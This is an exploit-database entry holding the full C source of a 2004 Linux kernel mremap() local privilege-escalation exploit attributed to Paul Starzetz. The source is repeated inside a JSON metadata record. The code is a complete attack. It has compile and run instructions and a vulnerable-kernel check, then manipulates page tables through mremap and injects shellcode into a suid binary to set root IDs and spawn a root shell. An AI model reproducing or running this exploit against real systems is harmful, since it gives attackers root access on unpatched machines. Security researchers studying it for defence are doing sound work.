ID EXPLOITPACK:8576A40A22F80C60EBB27384BCD29C4D
Type exploitpack
Reporter Paul Starzetz
Modified 2004-03-01T00:00:00
Description
Linux Kernel 2.2.252.4.242.6.2 - mremap() Local Privilege Escalation
/*
*
* mremap missing do_munmap return check kernel exploit
*
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
* ./mremap_pte [suid] [[shell]]
*
* Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <asm/page.h>
#define str(s) #s
#define xstr(s) str(s)
// this is for standard kernels with 3/1 split
#define STARTADDR 0x40000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define VICTIM (STARTADDR + PGD_SIZE)
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)
#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)
#define MREMAP_MAYMOVE ( (1UL) << 0 )
#define MREMAP_FIXED ( (1UL) << 1 )
#define __NR_sys_mremap __NR_mremap
// how many ld.so pages? this is the .text section length (like cat
// /proc/self/maps) in pages
#define LINKERPAGES 0x14
// suid victim
static char *suid="/bin/ping";
// shell to start
static char *launch="/bin/bash";
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
unsigned long new_len, unsigned long flags,
unsigned long new_addr);
static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;
// code to appear inside the suid image
static void suid_code(void)
{
__asm__(
" call callme \n"
// setresuid(0, 0, 0), setresgid(0, 0, 0)
"jumpme: xorl %ebx, %ebx \n"
" xorl %ecx, %ecx \n"
" xorl %edx, %edx \n"
" xorl %eax, %eax \n"
" mov $"xstr(__NR_setresuid)", %al \n"
" int $0x80 \n"
" mov $"xstr(__NR_setresgid)", %al \n"
" int $0x80 \n"
// execve(launch)
" popl %ebx \n"
" andl $0xfffff000, %ebx \n"
" xorl %eax, %eax \n"
" pushl %eax \n"
" movl %esp, %edx \n"
" pushl %ebx \n"
" movl %esp, %ecx \n"
" mov $"xstr(__NR_execve)", %al \n"
" int $0x80 \n"
// exit
" xorl %eax, %eax \n"
" mov $"xstr(__NR_exit)", %al \n"
" int $0x80 \n"
"callme: jmp jumpme \n"
);
}
static int suid_code_end(int v)
{
return v+1;
}
static inline void get_esp(void)
{
__asm__(
" movl %%esp, %%eax \n"
" andl $0xfffff000, %%eax \n"
" movl %%eax, %0 \n"
: : "m"(old_esp)
);
}
static inline void cloneme(void)
{
__asm__(
" pusha \n"
" movl $("xstr(CLONEFL)"), %%ebx \n"
" movl %%esp, %%ecx \n"
" movl $"xstr(__NR_clone)", %%eax \n"
" int $0x80 \n"
" movl %%eax, %0 \n"
" popa \n"
: : "m"(pid)
);
}
static inline void my_execve(void)
{
__asm__(
" movl %1, %%ebx \n"
" movl %2, %%ecx \n"
" movl %3, %%edx \n"
" movl $"xstr(__NR_execve)", %%eax \n"
" int $0x80 \n"
: "=a"(ret)
: "m"(suid), "m"(argv), "m"(env)
);
}
static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;
memset((void*)addr, 0x90, PAGE_SIZE);
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
ptr = (void*) (addr + PAGE_SIZE);
ptr -= r+1;
memcpy(ptr, suid_code, r);
memcpy((void*)addr, launch, strlen(launch)+1);
}
// hit VMA limit & populate PTEs
static void exhaust(void)
{
// mmap PTE donor
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t)
goto failed;
// prepare shell code pages
for(i=2; i<LINKERPAGES+1; i++)
pte_populate(victim + PAGE_SIZE*i);
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
if(i)
goto failed;
// lock unmap
base = MMAP_BASE;
cnt = 0;
prot = PROT_READ;
printf("\n"); fflush(stdout);
for(;;) {
t = mmap((void*)base, PAGE_SIZE, prot,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t) {
if(ENOMEM==errno)
break;
else
goto failed;
}
if( !(cnt%512) || cnt>65520 )
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
base+PAGE_SIZE); fflush(stdout);
base += PAGE_SIZE;
prot ^= PROT_EXEC;
cnt++;
}
// move PTEs & populate page table cache
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
if(-1==ret)
goto failed;
munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
0);
if(MAP_FAILED==t)
goto failed;
*t = *((unsigned *)old_esp);
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
printf("\n[+] Success\n\n"); fflush(stdout);
return;
failed:
printf("\n[-] Failed\n"); fflush(stdout);
_exit(0);
}
static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;
uname(&un);
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
if(n!=3 || a!=2) {
printf("\n[-] invalid kernel version string\n");
_exit(0);
}
if(b==2) {
if(c<=25)
v=1;
}
else if(b==3) {
if(c<=99)
v=1;
}
else if(b==4) {
if(c>18 && c<=24)
v=1, e=1;
else if(c>24)
v=0, e=0;
else
v=1, e=0;
}
else if(b==5 && c<=75)
v=1, e=1;
else if(b==6 && c<=2)
v=1, e=1;
printf("\n[+] kernel %s vulnerable: %s exploitable %s",
un.release, v? "YES" : "NO", e? "YES" : "NO" );
fflush(stdout);
if(v && e)
return;
_exit(0);
}
int main(int ac, char **av)
{
// prepare
check_kver();
memset(env, 0, sizeof(env));
memset(argv, 0, sizeof(argv));
if(ac>1) suid=av[1];
if(ac>2) launch=av[2];
argv[0] = suid;
get_esp();
// mmap & clone & execve
exhaust();
cloneme();
if(!pid) {
my_execve();
} else {
waitpid(pid, 0, 0);
}
return 0;
}
// milw0rm.com [2004-03-01]
{"lastseen": "2020-04-01T19:04:27", "references": [], "description": "\nLinux Kernel 2.2.252.4.242.6.2 - mremap() Local Privilege Escalation", "edition": 1, "reporter": "Paul Starzetz", "exploitpack": {"type": "local", "platform": "linux"}, "published": "2004-03-01T00:00:00", "title": "Linux Kernel 2.2.252.4.242.6.2 - mremap() Local Privilege Escalation", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:27", "rev": 2}, "score": {"value": 0.7, "vector": "NONE", "modified": "2020-04-01T19:04:27", "rev": 2}, "vulnersScore": 0.7}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2004-03-01T00:00:00", "id": "EXPLOITPACK:8576A40A22F80C60EBB27384BCD29C4D", "href": "", "viewCount": 1, "sourceData": "/*\n *\n *\tmremap missing do_munmap return check kernel exploit\n *\n *\tgcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte\n *\t./mremap_pte [suid] [[shell]]\n *\t\n *\tVulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2\n *\n *\tCopyright (c) 2004 iSEC Security Research. All Rights Reserved.\n *\n *\tTHIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED \"AS IS\"\n *\tAND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION\n *\tWITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.\n *\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <unistd.h>\n#include <syscall.h>\n#include <signal.h>\n#include <time.h>\n#include <sched.h>\n\n#include <sys/mman.h>\n#include <sys/wait.h>\n#include <sys/utsname.h>\n\n#include <asm/page.h>\n\n\n#define str(s) #s\n#define xstr(s) str(s)\n\n//\tthis is for standard kernels with 3/1 split\n#define STARTADDR\t0x40000000\n#define PGD_SIZE\t(PAGE_SIZE * 1024)\n#define VICTIM\t\t(STARTADDR + PGD_SIZE)\n#define MMAP_BASE\t(STARTADDR + 3*PGD_SIZE)\n\n#define DSIGNAL\t\tSIGCHLD\n#define CLONEFL\t\t(DSIGNAL|CLONE_VFORK|CLONE_VM)\n\n#define MREMAP_MAYMOVE\t( (1UL) << 0 )\n#define MREMAP_FIXED\t( (1UL) << 1 )\n\n#define __NR_sys_mremap\t__NR_mremap\n\n\n//\thow many ld.so pages? this is the .text section length (like cat \t\n//\t/proc/self/maps) in pages\n#define LINKERPAGES\t0x14\n\n//\tsuid victim\nstatic char *suid=\"/bin/ping\";\n\n//\tshell to start\nstatic char *launch=\"/bin/bash\";\n\n\n_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, \t\t\n\t ulong, e);\nunsigned long sys_mremap(unsigned long addr, unsigned long old_len, \n\t\t\t unsigned long new_len, unsigned long flags, \n\t\t\t unsigned long new_addr);\n\nstatic volatile unsigned base, *t, cnt, old_esp, prot, victim=0;\nstatic int i, pid=0;\nstatic char *env[2], *argv[2];\nstatic ulong ret;\n\n\n//\tcode to appear inside the suid image\nstatic void suid_code(void)\n{\n__asm__(\n\t\"\t\tcall\tcallme\t\t\t\t\\n\"\n\n//\tsetresuid(0, 0, 0), setresgid(0, 0, 0)\n\t\"jumpme:\txorl\t%ebx, %ebx\t\t\t\\n\"\n\t\"\t\txorl\t%ecx, %ecx\t\t\t\\n\"\n\t\"\t\txorl\t%edx, %edx\t\t\t\\n\"\n\t\"\t\txorl\t%eax, %eax\t\t\t\\n\"\n\t\"\t\tmov\t$\"xstr(__NR_setresuid)\", %al\t\\n\"\n\t\"\t\tint\t$0x80\t\t\t\t\\n\"\n\t\"\t\tmov\t$\"xstr(__NR_setresgid)\", %al\t\\n\"\n\t\"\t\tint\t$0x80\t\t\t\t\\n\"\n\n//\texecve(launch)\n\t\"\t\tpopl\t%ebx\t\t\t\t\\n\"\n\t\"\t\tandl\t$0xfffff000, %ebx\t\t\\n\"\n\t\"\t\txorl\t%eax, %eax\t\t\t\\n\"\n\t\"\t\tpushl\t%eax\t\t\t\t\\n\"\n\t\"\t\tmovl\t%esp, %edx\t\t\t\\n\"\n\t\"\t\tpushl\t%ebx\t\t\t\t\\n\"\n\t\"\t\tmovl\t%esp, %ecx\t\t\t\\n\"\n\t\"\t\tmov\t$\"xstr(__NR_execve)\", %al\t\\n\"\n\t\"\t\tint\t$0x80\t\t\t\t\\n\"\n\n//\texit\n\t\"\t\txorl\t%eax, %eax\t\t\t\\n\"\n\t\"\t\tmov\t$\"xstr(__NR_exit)\", %al\t\t\\n\"\n\t\"\t\tint\t$0x80\t\t\t\t\\n\"\n\n\t\"callme:\tjmp\tjumpme\t\t\t\t\\n\"\n\t);\n}\n\n\nstatic int suid_code_end(int v)\n{\nreturn v+1;\n}\n\n\nstatic inline void get_esp(void)\n{\n__asm__(\n\t\"\t\tmovl\t%%esp, %%eax\t\t\t\\n\"\n\t\"\t\tandl\t$0xfffff000, %%eax\t\t\\n\"\n\t\"\t\tmovl\t%%eax, %0\t\t\t\\n\"\n\t: : \"m\"(old_esp)\n\t);\n}\n\n\nstatic inline void cloneme(void)\n{\n__asm__(\n\t\"\t\tpusha\t\t\t\t\t\\n\"\n\t\"\t\tmovl $(\"xstr(CLONEFL)\"), %%ebx\t\t\\n\"\n\t\"\t\tmovl %%esp, %%ecx\t\t\t\\n\"\n\t\"\t\tmovl $\"xstr(__NR_clone)\", %%eax\t\t\\n\"\n\t\"\t\tint $0x80\t\t\t\t\\n\"\n\t\"\t\tmovl %%eax, %0\t\t\t\t\\n\"\n\t\"\t\tpopa\t\t\t\t\t\\n\"\n\t: : \"m\"(pid)\n\t);\n}\n\n\nstatic inline void my_execve(void)\n{\n__asm__(\n\t\"\t\tmovl %1, %%ebx\t\t\t\t\\n\"\n\t\"\t\tmovl %2, %%ecx\t\t\t\t\\n\"\n\t\"\t\tmovl %3, %%edx\t\t\t\t\\n\"\n\t\"\t\tmovl $\"xstr(__NR_execve)\", %%eax\t\\n\"\n\t\"\t\tint $0x80\t\t\t\t\\n\"\n\t: \"=a\"(ret)\n\t: \"m\"(suid), \"m\"(argv), \"m\"(env)\n\t);\n}\n\n\nstatic inline void pte_populate(unsigned addr)\n{\nunsigned r;\nchar *ptr;\n\n\tmemset((void*)addr, 0x90, PAGE_SIZE);\n\tr = ((unsigned)suid_code_end) - ((unsigned)suid_code);\n\tptr = (void*) (addr + PAGE_SIZE);\n\tptr -= r+1;\n\tmemcpy(ptr, suid_code, r);\n\tmemcpy((void*)addr, launch, strlen(launch)+1);\n}\n\n\n//\thit VMA limit & populate PTEs\nstatic void exhaust(void)\n{\n//\tmmap PTE donor\n\tt = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,\n\t\t MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);\n\tif(MAP_FAILED==t)\n\t\tgoto failed;\n\n//\tprepare shell code pages\n\tfor(i=2; i<LINKERPAGES+1; i++)\n\t\tpte_populate(victim + PAGE_SIZE*i);\n\ti = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);\n\tif(i)\n\t\tgoto failed;\n\n//\tlock unmap\n\tbase = MMAP_BASE;\n\tcnt = 0;\n\tprot = PROT_READ;\n\tprintf(\"\\n\"); fflush(stdout);\n\tfor(;;) {\n\t\tt = mmap((void*)base, PAGE_SIZE, prot, \n\t\t\t MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);\n\t\tif(MAP_FAILED==t) {\n\t\t\tif(ENOMEM==errno)\n\t\t\t\tbreak;\n\t\t\telse\n\t\t\t\tgoto failed;\n\t\t}\n\t\tif( !(cnt%512) || cnt>65520 )\n\t\t\tprintf(\"\\r MMAP #%d 0x%.8x - 0x%.8lx\", cnt, base,\n\t\t\tbase+PAGE_SIZE); fflush(stdout);\n\t\tbase += PAGE_SIZE;\n\t\tprot ^= PROT_EXEC;\n\t\tcnt++;\n\t}\n\n//\tmove PTEs & populate page table cache\n\tret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,\t\n\t\t\t MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);\n\tif(-1==ret)\n\t\tgoto failed;\n\n\tmunmap((void*)MMAP_BASE, old_esp-MMAP_BASE);\n\tt = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, \t\t\n\t\t PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, \n\t\t 0);\n\tif(MAP_FAILED==t)\n\t\tgoto failed;\n\n\t*t = *((unsigned *)old_esp);\n\tmunmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));\n\tprintf(\"\\n[+] Success\\n\\n\"); fflush(stdout);\n\treturn;\n\nfailed:\n\tprintf(\"\\n[-] Failed\\n\"); fflush(stdout);\n\t_exit(0);\n}\n\n\nstatic inline void check_kver(void)\n{\nstatic struct utsname un;\nint a=0, b=0, c=0, v=0, e=0, n;\n\n\tuname(&un);\n\tn=sscanf(un.release, \"%d.%d.%d\", &a, &b, &c);\n\tif(n!=3 || a!=2) {\n\t\tprintf(\"\\n[-] invalid kernel version string\\n\");\n\t\t_exit(0);\n\t}\n\n\tif(b==2) {\n\t\tif(c<=25)\n\t\t\tv=1;\n\t}\n\telse if(b==3) {\n\t\tif(c<=99)\n\t\t\tv=1;\n\t}\n\telse if(b==4) {\n\t\tif(c>18 && c<=24)\n\t\t\tv=1, e=1;\n\t\telse if(c>24)\n\t\t\tv=0, e=0;\n\t\telse\n\t\t\tv=1, e=0;\n\t}\n\telse if(b==5 && c<=75)\n\t\tv=1, e=1;\n\telse if(b==6 && c<=2)\n\t\tv=1, e=1;\n\n\tprintf(\"\\n[+] kernel %s vulnerable: %s exploitable %s\",\n\t\tun.release, v? \"YES\" : \"NO\", e? \"YES\" : \"NO\" );\n\tfflush(stdout);\n\n\tif(v && e)\n\t\treturn;\n\t_exit(0);\n}\n\n\nint main(int ac, char **av)\n{\n//\tprepare\n\tcheck_kver();\n\tmemset(env, 0, sizeof(env));\n\tmemset(argv, 0, sizeof(argv));\n\tif(ac>1) suid=av[1];\n\tif(ac>2) launch=av[2];\n\targv[0] = suid;\n\tget_esp();\n\n//\tmmap & clone & execve\n\texhaust();\n\tcloneme();\n\tif(!pid) {\n\t\tmy_execve();\n\t} else {\n\t\twaitpid(pid, 0, 0);\n\t}\n\nreturn 0;\n}\n\n// milw0rm.com [2004-03-01]", "cvss": {"score": 0.0, "vector": "NONE"}}
{}